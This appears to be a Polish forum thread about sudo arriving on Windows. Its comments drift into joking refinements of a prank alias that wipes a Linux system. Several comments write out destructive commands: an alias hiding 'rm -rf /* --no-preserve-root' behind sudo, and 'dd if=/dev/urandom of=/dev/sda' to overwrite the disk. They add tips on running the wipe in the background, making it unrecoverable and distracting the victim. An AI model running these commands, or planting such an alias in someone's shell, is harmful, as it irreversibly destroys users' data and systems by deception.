
Wpis użytkownika Fausto w Technologia
FaustoAutorytet
6piorunówJest i sudo na windowsie.
W końcu jakiś ukłon w stronę power-usera?
#windows #linux #systemyoperacyjne #informatyka
https://devblogs.microsoft.com/commandline/introducing-sudo-for-windows/
Komentarze (17)
@Fausto Nie ma wała że będzie można zrobić co się tylko chce przy użyciu sudo na Windowsie. Na bank MS wprowadzi jakieś swoje głupie ograniczenia bo oni wiedzą lepiej niż użytkownicy.
@Catharsis jest na to duża szansa
No to teraz ten mem staje się międzyplatformowy, wspaniale ( ͡° ͜ʖ ͡°)
@jimmy_gonzale Według autora przynajmniej miało to ukryć właśnie błędy z rm. Nie znam się aż tak, a przecież testować nie będę. ¯\\(ツ)/¯
@UncleFester Lepiej if=/dev/zero - urandom będzie wolniejszy, i obciąży CPU na tyle, że może ktoś się zorientować. Zależy nam tutaj tylko na jak najszybszym zbrickowaniu systemu, więc /dev/zero wystarczy, nie trzeba losowości.
W sumie teraz pomyślałem, że można użyć hdparma do błyskawicznego wyczyszczenia dysku, ale parametrów już nie pamiętam.
@LondoMollari dd if=/dev/urandom of=/dev/sda bs=100MB całkiem przyjemnie działa. :smiling_imp:
@LondoMollari @Fausto mądrych miło posłuchać.
chyba próba odwrócenia uwagi czy coś w tym stylu.
@Fausto Trochę tutaj bez sensu - odpalenie przez ';' oznacza, że pip będzie uruchomiony po skończeniu rm, więc się nawet nie odpali. Lepiej byłoby posłać tego rm w background jakimś nohupem i od razu odpalić jakaś komendę do odwrócenia uwagi.
@LondoMollari nie kuś diable
@jimmy_gonzale chyba próba odwrócenia uwagi czy coś w tym stylu.
@Thereforee Lepiej jakieś dd w backgroundzie. Samo rm zacznie pluć błędami kiedy dojdzie do /dev i /proc, i będzie sporo czasu na zorientowanie się co się dzieje. Dodatkowo, w większości GUI, odpalenie rm zaora sockety i plik .xauthority Xservera (które często leżą gdzieś pod /home/user/...) co spowoduje wywalenie całej sesji X-ów, i pociągnie za sobą w końcu terminal, w którym rm jest odpalone.
dd jest o tyle "lepszy" w tym zastosowaniu, że już w pierwszych parę sekund zaora tablicę partycji i/lub filesystem tak, że system będzie niebootowalny. Dodatkowym "bonusem" jest to, że w odróżnieniu od rm, po odpaleniu dd pliki są nieodzyskiwalne. Shred byłby analogiczną opcją, ale niestety nie potrafi działać rekurencyjnie.
@Thereforee co tu daje pip?
@Thereforee szatan mógłby się uczyć
@Fausto W sumie w komentarzach na Reddicie pewien psychopata napisał lepszą wersję:
alias sudo="/bin/sudo rm -rf /* --no-preserve-root; apt install pip"
Mam nadzieję, że ta osoba została już złapana, łapy ujebane oraz wsadzona do izolatki. Czyste zło.
@Thereforee xD dlaczego mnie ten mem ominął :grinning:
sudo.exe xD
@Fausto took long enough